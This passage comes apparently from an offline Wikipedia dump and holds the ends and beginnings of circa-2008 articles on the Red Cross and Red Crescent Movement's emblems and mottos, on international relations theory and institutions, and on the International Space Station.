                	Adhere to the present Statutes, share in the fellowship which unites the components of the Movement and co-operate with them.


                	Respect the Fundamental Principles of the Movement and be guided in its work by the principles of international humanitarian law.

              

            

          


          After recognition by the ICRC, a national society is admitted as a member to the International Federation of Red Cross and Red Crescent societies.


          


          Activities of national societies on a national and international stage


          Despite formal independence regarding its organizational structure and work, each national society is still bound by the laws of its home country. In many countries, national Red Cross and Red Crescent societies enjoy exceptional privileges due to agreements with their governments or specific "Red Cross Laws" granting full independence as required by the International Movement. The duties and responsibilities of a national society as defined by International Humanitarian Law and the statutes of the Movement include humanitarian aid in armed conflicts and emergency crises such as natural disasters. Depending on their respective human, technical, financial, and organizational resources, many national societies take on additional humanitarian tasks within their home countries such as Blood donation services or acting as civilian Emergency Medical Service (EMS) providers. The ICRC and the International Federation cooperate with the national societies in their international missions, especially with human, material, and financial resources and organizing on-site logistics.


          


          Symbols of the Movement


          


          Protection symbols vs. organizational emblems


          The symbols described below have two distinctively different meanings. On one hand, the visual symbols of the Red Cross, the Red Crescent, the Red Lion with Sun and the Red Crystal serve as protection markings in armed conflicts, a denotation which is derived from and defined in the Geneva Conventions. This is called the protective use of the symbols. On the other hand, these symbols are used as distinctive logos by those organizations which are part of the International Red Cross and Red Crescent Movement. This is the indicative use of the emblems, a meaning which is defined in the statutes of the International Movement and partly in the third Additional Protocol.


          As a protection symbol, they are used in armed conflicts to mark persons and objects (buildings, vehicles, etc.) which are working in compliance with the rules of the Geneva Conventions. In this function, they can also be used by organizations and objects which are not part of the International Red Cross and Red Crescent Movement, for example the medical services of the armed forces, civilian hospitals, and civil defense units. As protection symbols, these emblems should be used without any additional specification (textual or otherwise) and in a prominent manner which makes them as visible and observable as possible, for example by using large white flags bearing the symbol. Four of these symbols, namely the Red Cross, the Red Crescent, the Red Lion with Sun and the Red Crystal, are defined in the Geneva Conventions and their Additional Protocols as symbols for protective use.


          When used as an organizational logo, these symbols only indicate that persons, vehicles, buildings, etc. which bear the symbols belong to a specific organization which is part of the International Red Cross and Red Crescent Movement (like the ICRC, the International Federation or the national Red Cross and Red Crescent societies). In this case, they should be used with an additional specification (for example "American Red Cross") and not be displayed as prominently as when used as protection symbols. Three of these symbols, namely the Red Cross, the Red Crescent and the Red Crystal, can be used for indicative purposes by national societies for use in their home country or abroad. In addition to that, the Red Shield of David can be used by the Israel society Magen David Adom for indicative purposes within Israel, and, pending the approval of the respective host country, in combination with the Red Crystal when working abroad.


          


          Red Cross


          
            [image: The Red Cross symbol.]

            
              The Red Cross symbol.
            

          


          The Red Cross on white background was the original protection symbol declared at the 1864 Geneva Convention. It is, in terms of its colour, a reversal of the Swiss national flag, a meaning which was adopted to honour Swiss founder Henry Dunant and his home country. The ideas to introduce a uniform and neutral protection symbol as well as its specific design originally came from Dr. Louis Appia and General Henri Dufour, founding members of the International Committee. The Red Cross is defined as a protection symbol in Article 7 of the 1864 Geneva Convention, Chapter VII ("The distinctive emblem") and Article 38 of the 1949 Geneva Convention ("For the Amelioration of the Condition of the Wounded and Sick in Armed Forces in the Field"). There is an unofficial agreement within the Red Cross and Red Crescent Movement that the shape of the cross should be a cross composed of five squares. However, regardless of the shape, any Red Cross on white background should be valid and must be recognized as a protection symbol in conflict. Of the 186 national societies which are currently recognized by the ICRC, 152 are using the Red Cross as their official organization emblem. In addition, the Red Cross is currently used by the national society of Tuvalu which has applied for official recognition.


          


          Red Crescent
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              The Red Crescent symbol.
            

          


          During the Russo-Turkish War from 1876 to 1878, the Ottoman Empire used a Red Crescent instead of the Red Cross because its government believed that the cross would alienate its Muslim soldiers. When asked by the ICRC in 1877, Russia committed to fully respect the sanctity of all persons and facilities bearing the Red Crescent symbol, followed by a similar commitment from the Ottoman government to respect the Red Cross. After this de facto assessment of equal validity to both symbols, the ICRC declared in 1878 that it should be possible in principle to adopt an additional official protection symbol for non-Christian countries. The Red Crescent was formally recognized in 1929 when the Geneva Conventions were amended (Article 19). Originally, the Red Crescent was used by Turkey and Egypt. From its official recognition to today, the Red Crescent became the organizational emblem of nearly every national society in countries with majority Muslim populations. The national societies of some countries such as Pakistan (1974), Malaysia (1975), or Bangladesh (1989) have officially changed their name and emblem from the Red Cross to the Red Crescent. The Red Crescent is used by 33 of the 186 recognized societies worldwide.


          


          Red Crystal


          
            [image: The third protocol emblem, also known as the Red Crystal.]

            
              The third protocol emblem, also known as the Red Crystal.
            

          


          Because of the controversy over Israel's national society Magen David Adom and a number of other disputes, the introduction of an additional neutral protection symbol had been under discussion for a number of years, with the Red Crystal (previously referred to as the Red Lozenge or Red Diamond) being the most popular proposal. Other attempts have included Sri Lanka (1957) and India (1977) who tried to establish a Red Swastika and also efforts by the national societies of Kazakhstan and Eritrea to use a unique combination of the Red Cross and the Red Crescent, similar to the combination of both symbols used by the national society of the Soviet Union until its demise. However, amending the Geneva Conventions to add a new protection symbol requires a diplomatic conference of all 192 signatory states to the Conventions. The Swiss government organized such a conference to take place on December 5-6, 2005, to adopt a third additional protocol to the Geneva Conventions introducing the Red Crystal as an additional symbol with equal status to the Red Cross or Red Crescent. Following an unplanned extension of the conference until December 7, the protocol was adopted after a vote successfully achieved the required two-thirds majority. From the countries which attended the conference, 98 voted in favour and 27 against the protocol, while 10 countries abstained from voting.


          In the third Protocol the new symbol is referred to as "the third Protocol emblem". The rules for the use of this symbol, based on the third additional protocol to the Geneva Conventions, are the following:


          
            	Within its own national territory, a national society can use either of the recognized symbols alone, or incorporate any of these symbols or a combination of them into the Red Crystal. Furthermore, a national society can choose to display a previously and effectively used symbol, after officially communicating this symbol to the state parties of the Geneva Conventions through Switzerland as the depositary state prior to the adoption of the proposed third additional protocol.


            	For indicative use on foreign territory, a national society which does not use one of the recognized symbols as its emblem has to incorporate its unique symbol into the Red Crystal, based on the previously mentioned condition about communicating its unique symbol to the state parties of the Geneva Conventions.


            	For protective use, only the symbols recognized by the Geneva Conventions can be used. Specifically, those national societies which do not use one of the recognized symbols as their emblem have to use the Red Crystal without incorporation of any additional symbol.

          


          On 22 June 2006 the ICRC announced that the International Red Cross and Red Crescent Movement adopted the Red Crystal as additional emblem for use by the national societies. The ICRC also announced the recognition of the Palestine Red Crescent Society (PRCS) and the Israeli National Society, Magen David Adom (MDA). On 14 January 2007, the third additional protocol entered into force.


          


          Red Lion with Sun
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              The Red Lion with Sun symbol.
            

          


          From 1924 to 1980, Iran used a 'Red Lion with Sun' symbol for its national society, based on the flag and emblem of the Qajar Dynasty. The Red Lion with Sun was formally recognized as a protection symbol in 1929, together with the Red Crescent. Despite the country's shift to the Red Crescent in 1980, Iran explicitly maintains the right to use the symbol. Therefore, it is still recognized by the Geneva Convention as a protection symbol with equal status to the Red Cross, Red Crescent and Red Crystal.


          


          Red Shield of David
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              The emblem of Magen David Adom for indicative use within Israel.
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              The emblem for Magen David Adom for indicative use when operating abroad.
            

          


          Magen David Adom, the national society of Israel, has used the Red Shield of David as its organization emblem since its foundation. The Red Shield of David was initially proposed as an addition to the Red Cross, Red Crescent, and Red Lion with Sun in 1931. The proposal was rejected by the ICRC, like the Mehrab-e-Ahmar ( Red Archway) symbol of the national aid society of Afghanistan four years later, as well as a wide range of other proposals, due to concerns about symbol proliferation. Israel again tried to establish the emblem as a third protection symbol in the context of the Geneva Conventions, but a respective proposal was narrowly defeated when the Geneva Conventions were adopted by governments in 1949. As the Red Shield of David is not a recognized protection symbol under the Geneva Conventions, Magen David Adom's recognition as a national society by the ICRC was long delayed.


          It was not until 2006 that the ICRC officially recognized Magen David Adom. The adoption of the third protocol emblem paved the way for the recognition and admission of Magen David Adom as a full member of the International Federation, as the rules of the third protocol allow it to continue using the Red Shield of David when operating within Israel and provide a solution for its missions abroad. Though the organization only recently gained official recognition, it has had an excellent reputation within the Movement for many years and took part in many international activities, in cooperation with both the ICRC and the Federation, prior to its official recognition.


          


          Mottos of the Movement, Commemoration Day and places of interest
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              The International Red Cross Memorial in Solferino, Italy.
            

          


          The original motto of the International Committee of the Red Cross was Inter Arma Caritas ("In War, Charity"). This Christian-spirited slogan was amended in 1961 with the neutral motto Per Humanitatem ad Pacem or "With humanity, towards peace". While Inter Arma Caritas is still the primary motto of the ICRC (as per Article 3 of the ICRC statutes), Per Humanitatem ad Pacem is the primary motto of the Federation (Article 1 of the Constitution of the Federation). Both organizations acknowledge the alternative motto, and together both slogans serve as the combined motto of the International Movement.


          The mission statement of the International Movement as formulated in the "Strategy 2010" document of the Federation is to improve the lives of vulnerable people by mobilizing the power of humanity. From 1999 to 2004, the common slogan for all activities of the International Movement was The Power of Humanity. In December 2003, the 28th International Conference in Geneva adopted the conference motto Protecting Human Dignity as the new Movement slogan.


          The 16th International Conference which convened in London in 1938 officially decided to make May 8, the birthday of Henry Dunant, as the official annual commemoration and celebration day of the Movement. Since 1984, the official name of the celebration day has been " World Red Cross and Red Crescent Day".


          In Solferino, a small museum describes the history of the Battle of Solferino and of the Risorgimento, the long and bloody Italian struggle for independence and unity. In the Ossario di Solferino (Solferino Ossuary) in close proximity to the museum, a moving display shows the horrors of war. Inside the chapel, 1,413 skulls and many more bones from thousands of French and Austrian troops who died during the battle are shown. Solferino is also host to the International Red Cross Memorial inaugurated in 1959 on the centennial of the Battle of Solferino. The memorial contains stone plaques identifying each recognized national society. In Castiglione delle Stiviere, a small town near Solferino, the International Museum of the Red Cross was also opened in 1959. Moreover, another museum, the International Red Cross and Red Crescent Museum stands in Geneva in close proximity to the headquarters of the ICRC. Finally, in the Swiss city of Heiden, the Henry Dunant Museum was opened to preserve the memory and legacy of Dunant himself.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/International_Red_Cross_and_Red_Crescent_Movement"
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          International relations is a branch of political science. It represents the study of foreign affairs and global issues among states within the international system, including the roles of states, inter-governmental organizations (IGOs), non-governmental organizations (NGOs), and multinational corporations (MNCs). It is both an academic and public policy field, and can be either positive or normative as it both seeks to analyze as well as formulate the foreign policy of particular states.


          Apart from political science, IR draws upon such diverse fields as economics, history, law, philosophy, geography, sociology, anthropology, psychology, and cultural studies. It involves a diverse range of issues, from globalization and its impacts on societies and state sovereignty to ecological sustainability, nuclear proliferation, nationalism, economic development, terrorism, organized crime, human security, and human rights.


          


          History


          The history of international relations is often traced back to the Peace of Westphalia of 1648, where the modern state system was developed. Prior to this, the European medieval organization of political authority was based on a vaguely hierarchical religious order. Westphalia instituted the legal concept of sovereignty, which essentially meant that rulers, or the legitimate sovereigns, would recognize no internal equals within a defined territory and no external superiors as the ultimate authority within the territory's sovereign borders. Classical Greek and Roman authority at times resembled the Westphalian system, but both lacked the notion of sovereignty.


          Westphalia encouraged the rise of the independent nation-state, the institutionalization of diplomacy and armies. This particular European system was exported to the Americas, Africa, and Asia via colonialism and the "standards of civilization". The contemporary international system was finally established through decolonization during the Cold War. However, this is somewhat over-simplified. While the nation-state system is considered "modern", many states have not incorporated the system and are termed "pre-modern". Further, a handful of states have moved beyond the nation-state system and can be considered "post-modern". The ability of contemporary IR discourse to explain the relations of these different types of states is disputed. "Levels of analysis" is a way of looking at the international system, which includes the individual level, the domestic nation-state as a unit, the international level of transnational and intergovernmental affairs, and the global level.


          What is explicitly recognized as International Relations theory was not developed until after World War I, and is dealt with in more detail below. IR theory, however, has a long tradition of drawing on the work of other social sciences. The use of capitalizations of the 'I' and 'R' in International Relations aims to distinguish the academic discipline of International Relations from the phenomena of international relations. Many cite Thucydides' "History of the Peloponnesian War" as the inspiration for realist theory, with Hobbes' " Leviathan" and Machiavelli's "The Prince" providing further elaboration. Similarly, liberalism draws upon the work of Kant and Rousseau, with the work of the former often being cited as the first elaboration of Democratic Peace Theory. Though contemporary human rights is considerably different than the type of rights envisioned under natural law, Francisco de Vitoria, Hugo Grotius and John Locke offered the first accounts of universal entitlement to certain rights on the basis of common humanity. In the twentieth century, in addition to contemporary theories of liberal internationalism, Marxism has been a foundation of international relations.


          


          The study of IR


          Initially, international relations as a distinct field of study was almost entirely British-centered. In 1919, the Chair in International Politics established at the University of Wales, Aberystwyth (renamed Aberystwyth University in 2008), from an endowment given by David Davies, became the first academic position dedicated to IR. In the early 1920s, the London School of Economics' department of International Relations was founded at the behest of Nobel Peace Prize winner Philip Noel-Baker. In 1927 the first university institution entirely dedicated to the study of IR, the Graduate Institute of International Studies (Institut universitaire de hautes), and offered one of the first Ph.D. degrees in international relations in the country. It is a charter member of the Association of Professional Schools of International Affairs (APSIA), which now has over twenty members. Several USC faculty members have served as president of APSIA over the years. The Committee on International Relations at the University of Chicago is the nation's oldest graduate program in international relations, founded in 1928. Other schools include the School of International and Public Affairs (SIPA) at Columbia University, School of Advanced International Studies (SAIS) at Johns Hopkins University, Georgetown University's Edmund A. Walsh School of Foreign Service, the School of International Relations at the University of St Andrews, the Elliott School of International Affairs at George Washington University and the Fletcher School at Tufts. While schools dedicated to the study of IR have been founded in Asia and South America, IR as a discipline of study remains centered chiefly in the West.
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          IR theories can be roughly divided into one of two epistemological camps: "positivist" and "post-positivist". Positivist theories aim to replicate the methods of the natural sciences by analysing the impact of material forces. They typically focus on features of international relations such as state interactions, size of military forces, balance of powers etc. Post-positivist epistemology rejects the idea that the social world can be studied in an objective and value-free way. It rejects the central ideas of neo-realism/liberalism, such as rational choice theory, on the grounds that the scientific method cannot be applied to the social world and that a 'science' of IR is impossible.


          A key difference between the two positions is that while positivist theories, such as neo-realism, offer causal explanations (such as why and how power is exercised) post-positivist theories focus instead on constitutive questions, for instance what is meant by 'power'; what makes it up, how it is experienced and how it is reproduced. Often, post-positivist theories explicitly promote a normative approach to IR, by considering ethics. This is something which has often been ignored under 'traditional' IR as positivist theories make a distinction between 'facts' and normative judgments, or 'values'.


          During the late 1980s/1990 debate between positivists and post-positivists became the dominant debate and has been described as constituting the Third "Great Debate" (Lapid 1989).


          


          Positivist Theories


          


          Realism


          Realism focuses on state security and power above all else. Early realists such as E.H. Carr, Daniel Bernhard and Hans Morgenthau argued that states are self-interested, power-seeking rational actors, who seek to maximize their security and chances of survival. Any cooperation between states is explained as functional in order to maximize each individual state's security (as opposed to more idealistic reasons). Many realists saw World War II as the vindication of their theory. It should be noted that classical writers such as Thucydides, Machiavelli, and Hobbes are often cited as the "founding fathers" of realism by contemporary self-described realists. However, while their work may support realist doctrine, it is not likely that they would have classified themselves as realists (in this sense of the term). Realists are often split up into two groups: Classical or Human Nature Realists (as described here) and Structural or Neorealists (below).


          


          Liberalism/idealism/Liberal Internationalism


          Liberal international relations theory arose after World War I in response to the inability of states to control and limit war in their international relations. Early adherents include Woodrow Wilson and Norman Angell, who argued vigorously that states mutually gained from cooperation and that war was so destructive to be essentially futile. Liberalism was not recognized as a coherent theory as such until it was collectively and derisively termed idealism by E. H. Carr. A new version of "idealism," centered around human rights as basis of the legitimacy of international law, was advanced by Hans Kchler.


          


          Neorealism


          Neorealism is largely based on the work of Kenneth Waltz (who first coined the term "structural realism" in his book Man, the State, and War). While retaining the empirical observations of realism, that international relations are characterized by antagonistic interstate relations, neorealists point to the anarchic structure of the international system as the cause. They reject explanations that take account of states' domestic characteristics, viewing all states as "black boxes" whose intentions cannot be gauged with 100% certainty. States are compelled by relative gains and balance against concentration of power. Unlike classical realism, neorealism seeks to be scientific and more positivist. What also distinguishes neo-realism from realism is that the former does not accept the latter's emphasis on the behavioural explanation of international relations.


          


          Neoliberalism


          Neoliberalism seeks to update liberalism by accepting the neorealist presumption that states are the key actors in international relations, but still maintains that non-state actors (NSAs) and intergovernmental organizations (IGOs) matter. Proponents such as Maria Chattha argue that states will cooperate irrespective of relative gains, and are thus concerned with absolute gains. This also means that nations are, in essence, free to make their own choices as to how they will go about conducting policy without any international organizations blocking a nation's right to sovereignty. Neoliberalism also contains an economic theory that is based on the use of open and free markets with little, if any, government intervention to prevent monopolies and other conglomerates from forming. The growing interdependence throughout and after the Cold War through international institutions led to neo-liberalism being defined as institutionalism, this new part of the theory being fronted by Robert Keohane and also Joseph Nye.


          


          Regime Theory


          Regime theory is derived from the liberal tradition that argues that international institutions or regimes affect the behaviour of states (or other international actors). It assumes that cooperation is possible in the anarchic system of states, indeed, regimes are by definition, instances of international cooperation.


          While realism predicts that conflict should be the norm in international relations, regime theorists say that there is cooperation despite anarchy. Often they cite cooperation in trade, human rights and collective security among other issues. These instances of cooperation are regimes. The most commonly cited definition of regimes comes from Stephen Krasner. Krasner defines regimes as "institutions possessing norms, decision rules, and procedures which facilitate a convergence of expectations."


          Not all approaches to regime theory, however are liberal or neoliberal; some realist scholars like Joseph Greico have developed hybrid theories which take a realist based approach to this fundamentally liberal theory. (Realists don't say cooperation never happens, just that it's not the norm; it's a difference of degree).


          


          Post-positivist/reflectivist theories


          


          International society theory (the English school)


          International society theory, also called the English School, focuses on the shared norms and values of states and how they regulate international relations. Examples of such norms include diplomacy, order, and international law. Unlike neo-realism, it is not necessarily positivist. Theorists have focused particularly on humanitarian intervention, and are subdivided between solidarists, who tend to advocate it more, and pluralists, who place greater value in order and sovereignty. Nicholas Wheeler is a prominent solidarist, while Hedley Bull and Robert H. Jackson are perhaps the best known pluralists.


          


          Social Constructivism


          Social Constructivism encompasses a broad range of theories that aim to address questions of ontology, such as the Structure and agency debate, as well as questions of epistemology, such as the "material/ideational" debate that concerns the relative role of material forces versus ideas. Constructivism is not a theory of IR in the manner of neo-realism, but is instead a social theory which is used to better explain the actions taken by states and other major actors as well as the identities that guide these states and actors.


          Constructivism in IR can be divided into what Hopf (1998) calls 'conventional' and 'critical' constructivism. Common to all varieties of constructivism is an interest in the role that ideational forces play. The most famous constructivist scholar, Alexander Wendt noted in a 1992 article in International Organization (later followed up by a book, Social Theory of International Politics (1999)), that "anarchy is what states make of it". By this he means that the anarchical structure that neo-realists claim governs state interaction is in fact a phenomenon that is socially constructed and reproduced by states. For example, if the system is dominated by states that see anarchy as a life or death situation (what Wendt terms a "Hobbesian" anarchy) then the system will be characterised by warfare. If on the other hand anarchy is seen as restricted (a "Lockean" anarchy) then a more peaceful system will exist. Anarchy in this view is constituted by state interaction, rather than accepted as a natural and immutable feature of international life as viewed by neo-realist IR scholars.


          Critics, however, abound from both sides of the epistemological divide: Post-positivists say the focus on the state at the expense of ethnicity/race/class/gender makes social constructivism yet another positivist theory. The use of implicit rational choice theory by Wendt has also raised criticisms from scholars such as Steven Smith. Positivist scholars of (neo-)liberalism/realism hold that the theory forgoes too many positivist assumptions for it to be considered positivist.


          


          Critical Theory


          Critical international relations theory is the application of ' critical theory' to international relations. Proponents such as Andrew Linklater, Robert W. Cox and Ken Booth focus on the need for human emancipation from States. Hence, it is "critical" of mainstream IR theories that tend to be state-centric.a


          Note: this is by no means an exhaustive list of IR theories.


          


          Marxism


          Marxist and Neo-Marxist theories of IR reject the realist/liberal view of state conflict or cooperation; instead focusing on the economic and material aspects. It makes the assumption that the economy trumps other concerns; allowing for the elevation of class as the focus of study. Marxists view the international system as an integrated capitalist system in pursuit of capital accumulation. Thus, the period of colonialism brought in sources for raw materials and captive markets for exports, while decolonialization brought new opportunities in the form of dependence.


          Linked in with Marxist theories is dependency theory which argues that developed countries, in their pursuit of power, penetrate developing states through political advisors, missionaries, experts and MNCs to integrate them into the integrated capitalist system in order to appropriate natural resources and foster dependence by developing countries on developed countries.


          Marxist theories receive scant attention in the United States where no significant socialist party ever existed. It is more common in parts of Europe and is one of the most important theoretic contributions of Latin American academia, for example through Liberation theology.


          


          Leadership Theories


          


          Interest Group Perspective


          


          Strategic Perspective


          


          Poststructuralist theories


          Poststructuralist theories of IR developed in the 1980s from postmodernist studies in political science. Post-structuralism explores the deconstruction of concepts traditionally not problematic in IR, such as 'power' and 'agency' and examines how the construction of these concepts shapes international relations. The examination of 'narratives' plays an important part in poststructuralist analysis, for example feminist poststructuralist work has examined the role that 'women' play in global society and how they are constructed in war as 'innocent' and 'civilians'.


          Examples of post-positivist research include:


          
            	Feminisms ("gendering" war)


            	Postcolonialism (challenges the euro-centrism of IR)

          


          


          Concepts in international relations


          


          Systemic level concepts


          International relations is often viewed in terms of levels of analysis, the systemic level concepts are those broad concepts that define and shape an international milieu, characterised by Anarchy.


          


          Power


          The concept of power in international relations can be described as the degree of resources, capabilities, and influence in international affairs. It is often divided up into the concepts of hard power and soft power, hard power relating primarily to coercive power, such as the use of force, and soft power commonly covering economics, diplomacy and cultural influence. However, there is no clear dividing line between the two forms of power.


          


          Polarity


          Polarity in International Relations refers to the arrangement of power within the international system. The concept arose from bipolarity during the Cold War, with the international system dominated by the conflict between two superpowers, and has been applied retrospectively. Consequently, the international system prior to 1945 can be described as multi-polar, with power being shared among Great powers. The collapse of the Soviet Union in 1991 had led to what some would call unipolarity, with the United States as a sole superpower. However, due to China's surge of economic success after joining the World Trade Organization in 2001, combined with the respectable international position they hold within political spheres and the power that the Chinese Government exerts over their people (consisting of the largest population in the world), it is now clear that China too has superpower status.


          Several theories of international relations draw upon the idea of polarity.

          The balance of power was a concept prevalent in Europe prior to the First World War, the thought being that by balancing power blocs it would create stability and prevent war. Theories of the balance of power gained prominence again during the Cold War, being a central mechanism of Kenneth Waltz's Neorealism. Here, the concepts of balancing (rising in power to counter another) and bandwagonning (siding with another) are developed.


          Hegemonic stability theory (developed by Robert Gilpin) also draws upon the idea of Polarity, specifically the state of unipolarity. Hegemony is the preponderance of power at one pole in the international system, and the theory argues this is a stable configuration because of mutual gains by both the dominant power and others in the international system. This is contrary to many Neorealist arguments, particularly made by Kenneth Waltz, stating that the end of the Cold War and the state of unipolarity is an unstable configuration that will inevitably change.


          This can be expressed in Power transition theory, which states that it is likely that a great power would challenge a hegemon after a certain period, resulting in a major war. It suggests that while hegemony can control the occurrence of wars, it also results in the creation of one. Its main proponent, A.F.K. Organski, argued this based on the occurrence of previous wars during British, Portuguese and Dutch hegemony.


          


          Interdependence


          Many advocate that the current international system is characterized by growing interdependence; the mutual responsibility and dependency on others. Advocates of this point to growing globalisation, particularly with international economic interaction. The role of international institutions, and widespread acceptance of a number of operating principles in the international system, reinforces ideas that relations are characterized by interdependence.


          


          Dependency
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          Dependency theory is a theory most commonly associated with Marxism, stating that a set of Core states exploit a set of weaker Periphery states for their prosperity. Various versions of the theory suggest that this is either an inevitability (standard dependency theory), or use the theory to highlight the necessity for change (Neo-Marxist).


          


          Systemic tools of international relations


          
            	Diplomacy is the practice of communication and negotiation between representatives of states. To some extent, all other tools of international relations can be considered the failure of diplomacy. Keeping in mind, the use of other tools are part of the communication and negotiation inherent within diplomacy. Sanctions, force, and adjusting trade regulations, while not typically considered part of diplomacy, are actually valuable tools in the interest of leverage and placement in negotiations.


            	Sanctions are usually a first resort after the failure of diplomacy, and are one of the main tools used to enforce treaties. They can take the form of diplomatic or economic sanctions and involve the cutting of ties and imposition of barriers to communication or trade.


            	War, the use of force, is often thought of as the ultimate tool of international relations. A widely accepted definition is that given by Clausewitz, with war being "the continuation of politics by other means". There is a growing study into 'new wars' involving actors other than states. The study of war in International Relations is covered by the disciplines of ' War Studies' and 'Strategic studies'.


            	The mobilization of international shame can also be thought of as a tool of International Relations. This is attempting to alter states' actions through 'naming and shaming' at the international level. A prominent use of this would be the UN Commission on Human Rights 1235 procedure, which publicly exposes state's human rights violations.


            	The allotment of economic and/or diplomatic benefits. An example of this is the European Union's enlargement policy. Candidate countries are allowed entry into the EU only after the fulfillment of the Copenhagen criteria.

          


          


          Unit-level concepts in international relations


          As a level of analysis the unit level is often referred to as the state level, as it locates its explanation at the level of the state, rather than the international system.


          


          Regime type


          It is often considered that a states regime type can dictate the way that a state interacts with others in the international system.


          Democratic Peace Theory is a theory that suggests that the nature of democracy means that democratic countries will not go to war with each other. The justifications for this are that democracies externalise their norms and only go to war for just causes, and that democracy encourages mutual trust and respect.


          Communism justifies a world revolution, which similarly would lead to peaceful coexistence, based on a proletarian global society.


          


          Revisionism/Status quo


          States can be classified by whether they accept the international status quo, or are revisionist, i.e. want change. Revisionist states seek to fundamentally change the rules and practices of international relations, feeling disadvantaged by the status quo. They see the international system as a largely western creation which serves to reinforce current realities. Japan is an example of a state that has gone from being a revisionist state to one that is satisfied with the status quo, because the status quo is now beneficial to it.


          


          Religion


          It is often considered that religion can have an effect on the way a state acts within the international system. Religion is visible as an organising principle particularly for Islamic states, whereas secularism sits at the other end of the spectrum, with the separation of state and religion being responsible for the Liberal tradition.


          


          Individual or sub-unit level concepts


          The level beneath the unit (state) level can be useful both for explaining factors in International Relations that other theories fail to explain, and for moving away from a state-centric view of international relations.


          
            	Psychological factors in International Relations - Evaluating psychological factors in international relations comes from the understanding that a state is not a 'black box' as proposed by Realism, and that there may be other influences on foreign policy decisions. Examining the role of personalities in the decision making process can have some explanatory power, as can the role of misperception between various actors. A prominent application of sub-unit level psychological factors in international relations is the concept of Groupthink, another is the propensity of policymakers to think in terms of analogies.


            	Bureaucratic politics - Looks at the role of the bureaucracy in decision making, and sees decisions as a result of bureaucratic in-fighting, and as having been shaped by various constraints.


            	Religious, Ethnic, and secessionist groups - Viewing these aspects of the sub-unit level has explanatory power with regards to ethnic conflicts, religious wars, transnational diaspora ( diaspora politics) and other actors which do not consider themselves to fit with the defined state boundaries. This is particularly useful in the context of the pre-modern world of weak states.


            	Science, Technology and International Relations- How science and technology impact the global health, business, environment, technology, and development.

          


          


          Institutions in international relations


          International institutions form a vital part of contemporary International Relations. Much interaction at the system level is governed by them, and they outlaw some traditional institutions and practices of International Relations, such as the use of war (except in self-defence).


          As humanity enters the Planetary phase of civilization, some scientists and political theorists see a global hierarchy of institutions replacing the existing system of sovereign nation-states as the primary political community. They argue that nations are an imagined community that cannot resolve such modern challenges as the  Dogville effect (strangers in a homogeneous community), the legal and political status of stateless people and refugees, and the need to address worldwide concerns like climate change and pandemics. Futurist Paul Raskin has hypothesized that a new, more legitimate form of global politics could be based on constrained pluralism. This principle guides the formation of institutions based on three characteristics: irreducibility, where some issues must be adjudicated at the global level; subsidiarity, which limits the scope of global authority to truly global issues while smaller-scope issues are regulated at lower levels; and heterogeneity, which allows for diverse forms of local and regional institutions as long as they meet global obligations.


          


          United Nations


          The United Nations (UN) is an international organization that describes itself as a "global association of governments facilitating co-operation in international law, international security, economic development, and social equity"; It is the most prominent international institution. Many of the legal institutions follow the same organisational structure as the UN.


          


          Economic institutions


          
            	Asian Development Bank


            	International Monetary Fund


            	World Trade Organization


            	World Bank

          


          


          International legal bodies


          


          Human rights


          
            	European Court of Human Rights


            	Human Rights Committee


            	Inter-American Court of Human Rights


            	International Criminal Court


            	International Criminal Tribunal for Rwanda


            	International Criminal Tribunal for the Former Yugoslavia


            	United Nations Human Rights Council

          


          


          Legal


          
            	African Court of Justice


            	European Court of Justice


            	International Court of Justice


            	International Tribunal for the Law of the Sea

          


          


          Regional security arrangements


          
            	ASEAN


            	Arab League


            	CIS


            	CSCAP


            	Maritime security regime


            	NATO


            	RECAAP


            	SCO

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/International_relations"
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              	ISS Insignia
            


            
              	Station statistics
            


            
              	Call sign:

              	Alpha
            


            
              	Crew:

              	3
            


            
              	Launch:

              	1998-Present
            


            
              	Launch pad:

              	Kennedy Space Centre
            


            
              	Mass:

              	245,735 kg

              (540, 617 lb)

              ( 2008- 02-15)

              471,736 kg (1,040,000 lb) upon completion
            


            
              	Length:

              	58.2 m (191 ft)

              along truss

              ( 2007- 02-22)
            


            
              	Width:

              	44.5 m (146 ft)

              from Destiny to Zvezda

              73.15 m (240 ft)

              span of solar arrays

              ( 2007- 02-22)
            


            
              	Height:

              	27.4 m (90 ft)

              ( 2007- 02-22)
            


            
              	Living volume:

              	424.75 m

              (15,000 ft)
            


            
              	Atmospheric pressure:

              	101.3 kPa (29.91 inHg)
            


            
              	Perigee:

              	331.0 km (183.2 nmi)

              ( 2008- 02-15)
            


            
              	Apogee:

              	339.0 km (184.6 nmi)

              ( 2008- 02-15)
            


            
              	Orbit inclination:

              	51.6410 degrees

              ( 2008- 02-15)
            


            
              	Typical orbit altitude:

              	340.5 km (183.86 nmi)
            


            
              	Average speed:

              	27,743.8 km/h

              (17,239.2 mi/h, 7706.6 m/s)
            


            
              	Orbital period:

              	91.34 minutes
            


            
              	Orbits per day:

              	15.78224218

              ( 2008- 02-15)
            


            
              	Days in orbit:

              	3491 (11 June 2008)
            


            
              	Days occupied:

              	2780 (11 June 2008)
            


            
              	Number of orbits:

              	55095 (11 June 2008)
            


            
              	Distance travelled:

              	2,000,000,000 km

              (1,100,000,000 nmi)
            


            
              	Statistics as of November 20, 2007 (unless noted otherwise).
            


            
              	References:
            


            
              	Configuration
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              	International Space Station
            

          


          The International Space Station (ISS) is a research facility currently being assembled in space. The on-orbit assembly of ISS began in 1998. The space station is in a low Earth orbit and can be seen from Earth with the naked eye: it has an altitude of 350-460km (189-248 statute miles) above the surface of the Earth, and travels at an average speed of 27,700km (17,210statute miles) per hour, completing 15.77 orbits per day. The ISS is a joint project among the space agencies of the United States ( NASA), Russia ( RKA), Japan ( JAXA), Canada ( CSA) and several European countries (ESA).


          The Brazilian Space Agency (AEB, Brazil) participates through a separate contract with NASA. The Italian Space Agency similarly has separate contracts for various activities not done in the framework of ESA's ISS works (where Italy also fully participates). China has reportedly expressed interest in the project, especially if it is able to work with the RKA. The Chinese are not currently involved, however.


          The ISS is a continuation of what began as the U.S. Space Station Freedom, the funding for which was cut back severely. It represents a merger of Freedom with several other previously planned space stations: Russia's Mir 2, the planned European Columbus and Kibo, the Japanese Experiment Module. The projected completion date is 2010, with the station remaining in operation until around 2016. As of 2008, the ISS is already larger than any previous space station.


